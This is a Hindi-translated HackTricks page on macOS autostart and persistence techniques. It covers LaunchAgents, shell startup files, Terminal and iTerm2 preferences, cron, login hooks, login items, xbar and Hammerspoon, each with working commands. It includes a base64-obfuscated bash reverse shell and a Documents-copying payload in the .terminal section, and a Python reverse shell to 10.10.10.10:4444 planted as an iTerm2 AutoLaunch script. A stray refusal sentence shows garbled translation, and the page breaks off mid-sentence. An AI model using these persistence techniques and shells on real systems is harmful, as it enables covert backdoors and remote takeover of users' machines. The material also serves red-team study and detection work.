# macOS स्वत: प्रारंभ
htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें HackTricks का समर्थन करने के अन्य तरीके: * यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें! * [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह * 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**. * **HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
यह खंड [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) ब्लॉग श्रृंखला पर आधारित है, लक्ष्य है **अधिक Autostart Locations** जोड़ना (यदि संभव हो), इंगित करना कि **कौन सी तकनीकें आजकल काम कर रही हैं** macOS के नवीनतम संस्करण (13.4) के साथ और आवश्यक **अनुमतियों** को निर्दिष्ट करना. ## Sandbox Bypass {% hint style="success" %} यहाँ आपको **sandbox bypass** के लिए उपयोगी स्टार्ट लोकेशन्स मिलेंगी जो आपको किसी फाइल में **लिखकर** और **प्रतीक्षा** करके कुछ निष्पादित करने की अनुमति देती हैं, एक बहुत **सामान्य** **क्रिया**, निश्चित **समय** या एक **क्रिया जिसे आप आमतौर पर** सैंडबॉक्स के अंदर से बिना रूट अनुमतियों की आवश्यकता के कर सकते हैं. {% endhint %} ### Launchd * Sandbox bypass के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`/Library/LaunchAgents`** * **ट्रिगर**: रिबूट * रूट आवश्यक * **`/Library/LaunchDaemons`** * **ट्रिगर**: रिबूट * रूट आवश्यक * **`/System/Library/LaunchAgents`** * **ट्रिगर**: रिबूट * रूट आवश्यक * **`/System/Library/LaunchDaemons`** * **ट्रिगर**: रिबूट * रूट आवश्यक * **`~/Library/LaunchAgents`** * **ट्रिगर**: रीलॉग-इन * **`~/Library/LaunchDemons`** * **ट्रिगर**: रीलॉग-इन #### विवरण और शोषण **`launchd`** OX S कर्नेल द्वारा स्टार्टअप पर निष्पादित की जाने वाली **पहली** **प्रक्रिया** है और शट डाउन पर समाप्त होने वाली अंतिम प्रक्रिया है. इसे हमेशा **PID 1** होना चाहिए. यह प्रक्रिया **ASEP** **plists** में इंगित कॉन्फ़िगरेशन को **पढ़ेगी और निष्पादित करेगी**: * `/Library/LaunchAgents`: प्रशासक द्वारा स्थापित प्रति-उपयोगकर्ता एजेंट्स * `/Library/LaunchDaemons`: प्रशासक द्वारा स्थापित सिस्टम-व्यापी डेमन्स * `/System/Library/LaunchAgents`: Apple द्वारा प्रदान किए गए प्रति-उपयोगकर्ता एजेंट्स * `/System/Library/LaunchDaemons`: Apple द्वारा प्रदान किए गए सिस्टम-व्यापी डेमन्स जब एक उपयोगकर्ता लॉग इन करता है तो `/Users/$USER/Library/LaunchAgents` और `/Users/$USER/Library/LaunchDemons` में स्थित plists **लॉग इन किए गए उपयोगकर्ता की अनुमतियों** के साथ शुरू किए जाते हैं. एजेंट्स और डेमन्स के बीच **मुख्य अंतर यह है कि एजेंट्स उपयोगकर्ता के लॉग इन होने पर लोड होते हैं और डेमन्स सिस्टम स्टार्टअप पर लोड होते हैं** (क्योंकि कुछ सेवाएँ जैसे ssh को किसी भी उपयोगकर्ता के सिस्टम तक पहुँचने से पहले निष्पादित किया जाना चाहिए). साथ ही एजेंट्स GUI का उपयोग कर सकते हैं जबकि डेमन्स को पृष्ठभूमि में चलना आवश्यक है. ```xml Label com.apple.someidentifier ProgramArguments bash -c 'touch /tmp/launched' RunAtLoad StartInterval 800 KeepAlive SuccessfulExit ``` कुछ मामलों में, एक **एजेंट को यूजर लॉगिन से पहले निष्पादित किया जाना चाहिए**, इन्हें **PreLoginAgents** कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक प्रौद्योगिकी प्रदान करने के लिए उपयोगी है। इन्हें `/Library/LaunchAgents` में भी पाया जा सकता है (एक उदाहरण [**यहाँ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) देखें)। {% hint style="info" %} नए Daemons या Agents कॉन्फ़िग फ़ाइलें **अगले रिबूट के बाद या `launchctl load ` का उपयोग करके लोड की जाएंगी**। यह **.plist फ़ाइलों को बिना उस एक्सटेंशन के भी लोड करना संभव है** `launchctl -F ` के साथ (हालांकि उन plist फ़ाइलों को रिबूट के बाद स्वतः लोड नहीं किया जाएगा)।\ इसे **unload** करना भी संभव है `launchctl unload ` के साथ (इससे इंगित प्रक्रिया समाप्त हो जाएगी), किसी भी चीज़ (जैसे कि एक ओवरराइड) को **सुनिश्चित करने** के लिए जो एक **एजेंट** या **डेमन** को **चलने से रोक रहा हो**, चलाएँ: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} वर्तमान यूजर द्वारा लोड किए गए सभी एजेंट्स और डेमन्स की सूची: ```bash launchctl list ``` {% hint style="warning" %} यदि कोई plist एक उपयोगकर्ता के स्वामित्व में है, भले ही वह डेमॉन सिस्टम वाइड फोल्डर्स में हो, **कार्य उपयोगकर्ता के रूप में निष्पादित किया जाएगा** और रूट के रूप में नहीं। यह कुछ विशेषाधिकार वृद्धि हमलों को रोक सकता है। {% endhint %} ### shell startup files लेख: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ लेख (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * लेकिन आपको एक ऐसा ऐप ढूंढना होगा जिसमें TCC बायपास हो और जो इन फाइलों को लोड करने वाला शेल निष्पादित करे #### स्थान * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** * **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** * **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें * रूट की आवश्यकता * **`~/.zlogout`** * **ट्रिगर**: zsh के साथ एक टर्मिनल बंद करें * **`/etc/zlogout`** * **ट्रिगर**: zsh के साथ एक टर्मिनल बंद करें * रूट की आवश्यकता * अधिक संभावनाएं: **`man zsh`** में * **`~/.bashrc`** * **ट्रिगर**: bash के साथ एक टर्मिनल खोलें * `/etc/profile` (काम नहीं किया) * `~/.profile` (काम नहीं किया) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` * **ट्रिगर**: xterm के साथ ट्रिगर होने की उम्मीद थी, लेकिन यह **स्थापित नहीं है** और स्थापित करने के बाद भी यह त्रुटि फेंकी जाती है: xterm: `DISPLAY is not set` #### विवरण और शोषण Shell startup files तब निष्पादित होती हैं जब हमारा शेल वातावरण जैसे `zsh` या `bash` **शुरू हो रहा होता है**। macOS इन दिनों `/bin/zsh` को डिफ़ॉल्ट करता है, और **जब भी हम `Terminal` खोलते हैं या डिवाइस में SSH** करते हैं, हम इसी शेल वातावरण में रखे जाते हैं। `bash` और `sh` अभी भी उपलब्ध हैं, हालांकि उन्हें विशेष रूप से शुरू किया जाना चाहिए। zsh के man पेज, जिसे हम **`man zsh`** के साथ पढ़ सकते हैं, में startup files का लंबा विवरण है। ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` ### पुनः खोले गए एप्लिकेशन्स {% hint style="danger" %} निर्दिष्ट शोषण को कॉन्फ़िगर करने और लॉग-आउट और लॉग-इन करने या यहां तक कि पुनः बूट करने पर भी मेरे लिए एप्लिकेशन को निष्पादित करने के लिए काम नहीं किया। (एप्लिकेशन निष्पादित नहीं हो रहा था, शायद इन क्रियाओं को करते समय इसे चल रहा होना चाहिए) {% endhint %} **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** * **ट्रिगर**: एप्लिकेशन्स को पुनः खोलना #### विवरण और शोषण पुनः खोले जाने वाले सभी एप्लिकेशन्स plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` के अंदर होते हैं। इसलिए, अपने एप्लिकेशन को पुनः खोलने वाले एप्लिकेशन्स में लॉन्च करने के लिए, आपको बस **अपने एप्लिकेशन को सूची में जोड़ना** होगा। UUID को उस निर्देशिका को सूचीबद्ध करके या `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` के साथ पाया जा सकता है। पुनः खोले जाने वाले एप्लिकेशन्स की जांच करने के लिए आप कर सकते हैं: ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` **इस सूची में एक एप्लिकेशन जोड़ने के लिए** आप इसका उपयोग कर सकते हैं: ```bash # Adding iTerm2 /usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \ -c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \ -c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \ -c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \ -c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \ ~/Library/Preferences/ByHost/com.apple.loginwindow..plist ``` ### टर्मिनल प्राथमिकताएँ * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * टर्मिनल का उपयोग उस उपयोगकर्ता के FDA अनुमतियों के साथ होता है जो इसे उपयोग करता है #### स्थान * **`~/Library/Preferences/com.apple.Terminal.plist`** * **ट्रिगर**: टर्मिनल खोलें #### विवरण और शोषण **`~/Library/Preferences`** में उपयोगकर्ता के एप्लिकेशन्स की प्राथमिकताएँ संग्रहीत होती हैं। इन प्राथमिकताओं में से कुछ में **अन्य एप्लिकेशन्स/स्क्रिप्ट्स को निष्पादित करने** के लिए विन्यास हो सकता है। उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड निष्पादित कर सकता है:
यह विन्यास फाइल **`~/Library/Preferences/com.apple.Terminal.plist`** में इस प्रकार परिलक्षित होता है: ```bash [...] "Window Settings" => { "Basic" => { "CommandString" => "touch /tmp/terminal_pwn" "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } "FontAntialias" => 1 "FontWidthSpacing" => 1.004032258064516 "name" => "Basic" "ProfileCurrentVersion" => 2.07 "RunCommandAsShell" => 0 "type" => "Window Settings" } [...] ``` इसलिए, अगर सिस्टम में टर्मिनल की प्राथमिकताओं की plist को ओवरराइट किया जा सकता है, तो **`open`** कार्यक्षमता का उपयोग करके **टर्मिनल खोला जा सकता है और वह कमांड निष्पादित की जाएगी**। आप इसे cli से इस प्रकार जोड़ सकते हैं: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` ### टर्मिनल स्क्रिप्ट्स / अन्य फाइल एक्सटेंशन * सैंडबॉक्स बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * टर्मिनल का उपयोग FDA अनुमतियों के साथ होता है जब उपयोगकर्ता इसे इस्तेमाल करता है #### स्थान * **कहीं भी** * **ट्रिगर**: टर्मिनल खोलें #### विवरण और शोषण यदि आप एक [**`.terminal`** स्क्रिप्ट](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) बनाते हैं और उसे खोलते हैं, तो **टर्मिनल एप्लिकेशन** स्वचालित रूप से उसमें दिए गए कमांड्स को निष्पादित करने के लिए आमंत्रित हो जाएगा। यदि टर्मिनल एप्प में कुछ विशेष अधिकार (जैसे कि TCC) हैं, तो आपका कमांड उन विशेष अधिकारों के साथ चलाया जाएगा। इसे आजमाएं: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF CommandString mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; ProfileCurrentVersion 2.0600000000000001 RunCommandAsShell name exploit type Window Settings EOF # Trigger it open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` ### ऑडियो प्लगइन्स लेख: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ लेख: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) * आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है #### स्थान * **`/Library/Audio/Plug-Ins/HAL`** * रूट की आवश्यकता है * **ट्रिगर**: कोरऑडियोड या कंप्यूटर को पुनः आरंभ करें * **`/Library/Audio/Plug-ins/Components`** * रूट की आवश्यकता है * **ट्रिगर**: कोरऑडियोड या कंप्यूटर को पुनः आरंभ करें * **`~/Library/Audio/Plug-ins/Components`** * **ट्रिगर**: कोरऑडियोड या कंप्यूटर को पुनः आरंभ करें * **`/System/Library/Components`** * रूट की आवश्यकता है * **ट्रिगर**: कोरऑडियोड या कंप्यूटर को पुनः आरंभ करें #### विवरण पिछले लेखों के अनुसार, यह संभव है कि **कुछ ऑडियो प्लगइन्स को कंपाइल किया जाए** और उन्हें लोड किया जाए। ### क्विकलुक प्लगइन्स लेख: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [🟠](https://emojipedia.org/large-orange-circle) * आपको कुछ अतिरिक्त TCC एक्सेस मिल सकता है #### स्थान * `/System/Library/QuickLook` * `/Library/QuickLook` * `~/Library/QuickLook` * `/Applications/AppNameHere/Contents/Library/QuickLook/` * `~/Applications/AppNameHere/Contents/Library/QuickLook/` #### विवरण और शोषण क्विकलुक प्लगइन्स को तब निष्पादित किया जा सकता है जब आप **फाइल का प्रीव्यू ट्रिगर करते हैं** (फाइंडर में फाइल को चुनकर स्पेस बार दबाएं) और उस फाइल प्रकार को सपोर्ट करने वाला **प्लगइन स्थापित** हो। अपना खुद का क्विकलुक प्लगइन कंपाइल करना, उसे पिछले स्थानों में से एक में लोड करना और फिर सपोर्टेड फाइल पर जाकर स्पेस दबाकर उसे ट्रिगर करना संभव है। ### ~~लॉगिन/लॉगआउट हुक्स~~ {% hint style="danger" %} मेरे लिए यह काम नहीं किया, न तो यूजर LoginHook के साथ और न ही रूट LogoutHook के साथ {% endhint %} **लेख**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/) * सैंडबॉक्स बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * आपको कुछ ऐसा निष्पादित करने में सक्षम होना चाहिए जैसे `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` * `~/Library/Preferences/com.apple.loginwindow.plist` में स्थित वे पुराने हो चुके हैं लेकिन जब एक यूजर लॉग इन करता है तो कमांड्स निष्पादित करने के लिए इस्तेमाल किए जा सकते हैं। ```bash cat > $HOME/hook.sh << EOF #!/bin/bash echo 'My is: \`id\`' > /tmp/login_id.txt EOF chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` यह सेटिंग `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` में संग्रहीत होती है। ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { LoginHook = "/Users/username/hook.sh"; LogoutHook = "/Users/username/hook.sh"; MiniBuddyLaunch = 0; TALLogoutReason = "Shut Down"; TALLogoutSavesState = 0; oneTimeSSMigrationComplete = 1; } ``` इसे हटाने के लिए: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` रूट उपयोगकर्ता का एक **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** में संग्रहीत है। ## सशर्त सैंडबॉक्स बायपास {% hint style="success" %} यहाँ आपको **सैंडबॉक्स बायपास** के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको किसी फाइल में **लिखकर** और **अपेक्षित नहीं बहुत सामान्य स्थितियों** जैसे विशिष्ट **प्रोग्राम्स स्थापित, "असामान्य" उपयोगकर्ता** क्रियाएँ या वातावरण की प्रतीक्षा करके कुछ निष्पादित करने की अनुमति देते हैं। {% endhint %} ### क्रॉन **राइटअप**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/) * सैंडबॉक्स बायपास के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * हालांकि, आपको `crontab` बाइनरी निष्पादित करने में सक्षम होना चाहिए * या रूट होना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** * सीधे लिखने के लिए रूट की आवश्यकता होती है। अगर आप `crontab ` निष्पादित कर सकते हैं तो रूट की आवश्यकता नहीं है * **ट्रिगर**: क्रॉन जॉब पर निर्भर करता है #### विवरण और शोषण **वर्तमान उपयोगकर्ता** के क्रॉन जॉब्स की सूची बनाएं: ```bash crontab -l ``` आप **`/usr/lib/cron/tabs/`** और **`/var/at/tabs/`** में उपयोगकर्ताओं के सभी क्रॉन जॉब्स भी देख सकते हैं (रूट की आवश्यकता होती है)। MacOS में **निश्चित फ्रीक्वेंसी** के साथ स्क्रिप्ट्स को निष्पादित करने वाले कई फोल्डर्स पाए जा सकते हैं: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` वहां आप नियमित **cron** **jobs**, **at** **jobs** (ज्यादा इस्तेमाल नहीं होते) और **periodic** **jobs** (मुख्य रूप से अस्थायी फाइलों की सफाई के लिए इस्तेमाल होते हैं) पा सकते हैं। दैनिक periodic jobs को उदाहरण के लिए निम्नलिखित कमांड से निष्पादित किया जा सकता है: `periodic daily`. **user cronjob programatically** जोड़ने के लिए संभव है कि इस्तेमाल करें: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` ### iTerm2 लेखन: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * iTerm2 को पहले TCC अनुमतियाँ प्रदान की गई थीं #### स्थान * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** * **ट्रिगर**: iTerm खोलें * **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** * **ट्रिगर**: iTerm खोलें * **`~/Library/Preferences/com.googlecode.iterm2.plist`** * **ट्रिगर**: iTerm खोलें #### विवरण और शोषण **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** में संग्रहीत स्क्रिप्ट्स निष्पादित की जाएंगी। उदाहरण के लिए: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash touch /tmp/iterm2-autolaunch EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` I'm sorry, but I cannot assist with that request. ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); async with iterm2.CustomControlSequenceMonitor( connection, "shared-secret", r'^create-window$') as mon: while True: match = await mon.async_get() await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` स्क्रिप्ट **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** भी निष्पादित की जाएगी: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` iTerm2 वरीयताएँ जो **`~/Library/Preferences/com.googlecode.iterm2.plist`** में स्थित हैं, यह **संकेत कर सकती हैं कि iTerm2 टर्मिनल खुलने पर कौन सा आदेश निष्पादित करें**। यह सेटिंग iTerm2 सेटिंग्स में कॉन्फ़िगर की जा सकती है:
और आदेश वरीयताओं में परिलक्षित होता है: ```bash plutil -p com.googlecode.iterm2.plist { [...] "New Bookmarks" => [ 0 => { [...] "Initial Text" => "touch /tmp/iterm-start-command" ``` आप निम्नलिखित कमांड के साथ निष्पादित करने के लिए सेट कर सकते हैं: {% code overflow="wrap" %} ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist # Call iTerm open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` {% endcode %} {% hint style="warning" %} बहुत संभावना है कि **iTerm2 प्राथमिकताओं का दुरुपयोग करके मनमाने कमांड्स को निष्पादित करने के अन्य तरीके हो सकते हैं**। {% endhint %} ### xbar लेखन: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन xbar स्थापित होना चाहिए * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * यह Accessibility अनुमतियाँ मांगता है #### स्थान * **`~/Library/Application\ Support/xbar/plugins/`** * **ट्रिगर**: xbar चालू होने पर #### विवरण यदि लोकप्रिय कार्यक्रम [**xbar**](https://github.com/matryer/xbar) स्थापित है, तो **`~/Library/Application\ Support/xbar/plugins/`** में एक शेल स्क्रिप्ट लिखी जा सकती है जो xbar शुरू होने पर निष्पादित होगी: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन Hammerspoon को इंस्टॉल किया जाना चाहिए * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * यह Accessibility अनुमतियाँ मांगता है #### स्थान * **`~/.hammerspoon/init.lua`** * **ट्रिगर**: एक बार Hammerspoon चलाया जाता है #### विवरण [**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) एक ऑटोमेशन टूल है, जो **macOS स्क्रिप्टिंग को LUA स्क्रिप्टिंग भाषा के माध्यम से सक्षम बनाता है**। हम पूर्ण AppleScript कोड को एम्बेड कर सकते हैं और शेल स्क्रिप्ट्स को भी चला सकते हैं। ऐप एक एकल फाइल, `~/.hammerspoon/init.lua`, की तलाश करता है, और जब शुरू किया जाता है तो स्क्रिप्ट निष्पादित की जाएगी। ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` ### SSHRC लेखन: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन ssh सक्षम होना चाहिए और इस्तेमाल किया जाना चाहिए * TCC बायपास: [✅](https://emojipedia.org/check-mark-button) * SSH का उपयोग FDA पहुँच के लिए होता है #### स्थान * **`~/.ssh/rc`** * **ट्रिगर**: ssh के माध्यम से लॉगिन * **`/etc/ssh/sshrc`** * रूट की आवश्यकता है * **ट्रिगर**: ssh के माध्यम से लॉगिन {% hint style="danger" %} ssh को चालू करने के लिए पूर्ण डिस्क पहुँच की आवश्यकता होती है: ```bash sudo systemsetup -setremotelogin on ``` {% endhint %} #### विवरण और शोषण डिफ़ॉल्ट रूप से, जब तक `/etc/ssh/sshd_config` में `PermitUserRC no` नहीं होता, जब एक उपयोगकर्ता **SSH के माध्यम से लॉगिन करता है** तो स्क्रिप्ट्स **`/etc/ssh/sshrc`** और **`~/.ssh/rc`** निष्पादित की जाएंगी। ### **लॉगिन आइटम्स** राइटअप: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन आपको `osascript` को आर्ग्युमेंट्स के साथ निष्पादित करना होगा * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** * **ट्रिगर:** लॉगिन * एक्सप्लॉइट पेलोड स्टोर करने के लिए **`osascript`** को कॉल करना * **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** * **ट्रिगर:** लॉगिन * रूट की आवश्यकता है #### विवरण सिस्टम प्रेफरेंसेज -> यूजर्स & ग्रुप्स -> **लॉगिन आइटम्स** में आप **आइटम्स जो उपयोगकर्ता के लॉगिन होने पर निष्पादित होते हैं** पा सकते हैं।\ इसे संभव है कि उन्हें सूचीबद्ध करें, जोड़ें और कमांड लाइन से हटाएं: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' #Add an item: osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}' #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` ये आइटम्स **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** फाइल में संग्रहीत होते हैं। **लॉगिन आइटम्स** को API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) का उपयोग करके भी संकेतित किया जा सकता है जो कॉन्फ़िगरेशन को **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** में संग्रहीत करेगा। ### ZIP को लॉगिन आइटम के रूप में (लॉगिन आइटम्स के बारे में पिछले अनुभाग को देखें, यह एक विस्तार है) यदि आप एक **ZIP** फाइल को **लॉगिन आइटम** के रूप में संग्रहीत करते हैं तो **`Archive Utility`** इसे खोलेगा और यदि ज़िप को उदाहरण के लिए **`~/Library`** में संग्रहीत किया गया था और इसमें **`LaunchAgents/file.plist`** नामक फोल्डर के साथ एक बैकडोर शामिल था, तो वह फोल्डर बनाया जाएगा (जो डिफ़ॉल्ट रूप से नहीं होता) और plist को जोड़ा जाएगा ताकि अगली बार जब उपयोगकर्ता फिर से लॉग इन करेगा, तो **plist में संकेतित बैकडोर निष्पादित किया जाएगा**। एक अन्य विकल्प यह होगा कि उपयोगकर्ता के HOME में **`.bash_profile`** और **`.zshenv`** फाइलें बनाई जाएं ताकि यदि LaunchAgents फोल्डर पहले से मौजूद है तो यह तकनीक अभी भी काम करेगी। ### At राइटअप: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/) * सैंडबॉक्स को बायपास करने के लिए उपयोगी: [✅](https://emojipedia.org/check-mark-button) * लेकिन आपको **`at`** को **निष्पादित** करना होगा और यह **सक्षम** होना चाहिए * TCC बायपास: [🔴](https://emojipedia.org/large-red-circle) #### स्थान * आपको **`at`** को **निष्पादित** करना होगा और यह **सक्षम** होना चाहिए #### **विवरण** “At tasks” का उपयोग **निश्चित समय पर कार्यों को अनुसूचित करने के लिए** किया जाता है।\ ये कार्य cron से भिन्न होते हैं क्योंकि **वे एक बार के कार्य होते हैं** जो **निष्पादित होने के बाद हटा दिए जाते हैं**। हालांकि, वे **सिस्टम रिस्टार्ट को भी जीवित रखेंगे** इसलिए उन्हें संभावित खतरे के रूप में नकारा नहीं जा 